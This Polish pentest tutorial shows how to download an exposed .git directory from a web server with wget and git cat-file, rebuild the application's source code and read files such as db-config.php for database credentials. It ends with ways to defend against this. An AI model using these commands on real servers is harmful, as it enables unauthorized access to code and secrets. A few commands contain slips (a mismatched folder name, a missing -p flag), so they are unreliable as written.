W trakcie przeprowadzanych przez nas testów penetracyjnych aplikacji webowych czasem zdarzy się nam natrafić na katalog .git z włączonym lub wyłączonym listowaniem plików.
Developerzy często zapominają/nie są świadomi że podczas używania komendy git clone
automatycznie tworzony jest katalog .git zawierający metadane repozytorium.
Zdarza się również że repozytorium zawiera pliki konfiguracyjne z loginami/hasłami, które powinny znaleźć się w pliku gitignore.
Jakie korzyści daje nam dostęp do folderu .git?
Jeżeli przykładowa aplikacja nie jest open sourcowa, możemy przeprowadzić analizę kodu, do którego normalnie nie mielibyśmy dostępu. W plikach konfiguracyjnych możemy znaleźć np. poświadczenia potrzebne do połączenia się z bazą danych itp
Z perspektywy osoby przeprowadzającej testy jest to bezcenne znalezisko, jak zatem odczytać zawartość repozytorium?
W przypadku gdy włączone jest listowanie plików, sprawa jest prosta.
Tworzymy folder, do którego pobierzemy całą zawartość katalogu .git
mkdir gitdump
Przechodzimy do folderu:
cd gitdump
Pobieramy zawartość katalogu wraz z podfolderami i wszystkimi plikami.
wget --mirror --include-directories=/.git http://example.com/.git
Po pobraniu wszystkich plików przechodzimy do folderu
cd example.com
i wykonujemy polecenie
git reset --hard
Jeżeli wszystko przebiegło bez problemów zobaczymy komunikat
HEAD is now at […]
Po wylistowaniu zawartości folderu naszym oczom powinny sie ukazać pliki z kodem źródłowym aplikacji.
Trudniejszy, ale nie niemożliwy jest podgląd plików w przypadku gdy na serwerze wyłączone jest listowanie plików.
W takim przypadku po wejściu pod przykładowy adres example.com/.git nie zobaczymy żadnych podfolderów. W zależności od konfiguracji serwera www naszym oczom ukaże się blank page lub komunikat podobny to tego poniżej
Directory listing not allowed
Forbidden
W takim przypadku warto sprawdzić czy mamy dostęp do pliku example.com/.git/logs/HEAD Jeżeli tak naszym oczom ukaże się zawartość pliku:
0000000000000000000000000000000000000000 7fe18903e7977db3a373981fb775884c9189fab9 ...
Pliki zawarte w repozytorium możemy w takim wypadku odczytać poprzez wykonanie poniższych czynności:
Tworzymy przykładowy folder
mkdir gitexaple && cd gitexample
Inicjalizujemy nowe repozytorium
git init
Przechodzimy do folderu ./git/objects/
Tworzymy folder z nazwą stworzoną z dwóch pierwszych znaków zawartego w pliku .git/logs/HEAD HEAD commit ID W naszym przypadku będzie to:
mkdir 7e && cd 7e
W folderze ./git/objects/ na serwerze www znajduje sie katalog odpowiadający dwóm pierwszym znakom HEAD commit ID z pliku .git/logs/HEAD a w nim plik którego nazwa to pozostałe znaki HEAD commit ID Pobieramy go:
wget http://example.com/.git/objects/7f/e18903e7977db3a373981fb775884c9189fab9
a następnie czytamy jego zawartość:
git cat-file -p 7fe18903e7977db3a373981fb775884c9189fab9
po wywołaniu komendy zobaczymy kilka lini tekstu, interesuje nas tree id
...
tree e8189a98db67ce982248c72b56e5ba2102921bff
parent b7fe7438096875631fa6f917dc4a6896cbb9bf02
...
Analogicznie do poprzednio wykonanych kroków w katalogu .git/objects/ tworzymy folder nazwany na podstawie dwoch pierwszych znaków tree ID e8189a98db67ce982248c72b56e5ba2102921bff i pobieramy z niego plik nazwany resztą znaków z tree ID.
mkdir e8 && cd e8
wget http://example.com/.git/objects/e8/189a98db67ce982248c72b56e5ba2102921bff
i odczytujemy zawartość pobranego pliku
git cat-file -p e8189a98db67ce982248c72b56e5ba2102921bff
W tym momencie powinna ukazać sie nam lista plików zawartych w repozytorium oraz ich commmit ID, przykładowo:
040000 tree 7b557a72a79b3a38512139bac573e36b44c89181 cms
040000 tree d36e87fd76488f48acc41a6a585625a569db5f88 includes
040000 tree b97734c693e55982a6f2285f28e315e7af60d272 images
100644 blob 42fd8b71db9d1f2df671601a6b90c613a1cb6c40 db-config.php
100644 blob e63a64345d5d230a247876fe5f0fcf0f31bb2345 composer.json
040000 tree fbd1d628c2562ae14cf343e0b41cf190c05bedc8 library
Zakładając, że chcemy odczytać zawartość pliku db-config.php ponownie w .git/object tworzymy katalog 42 i pobieramy plik fd8b71db9d1f2df671601a6b90c613a1cb6c40:
mkdir 42 && cd 42
wget http://example.com/.git/objects/42/fd8b71db9d1f2df671601a6b90c613a1cb6c40
i odczytujemy jego zawartość:
git cat-file 42fd8b71db9d1f2df671601a6b90c613a1cb6c40
Całość procesu można zautomatyzować w dość prosty sposób.
Co robić aby nie spotkało to także nas? Oto kilka pomysłów:
Usunięcie folderu .git po check-oucie.
Skorzystanie z .htaccess w celu zablokowania dostępu do folderu .git.
Trzymanie folderu .git jeden poziom wyżej, w miejscu niedostępnym dla serwera www.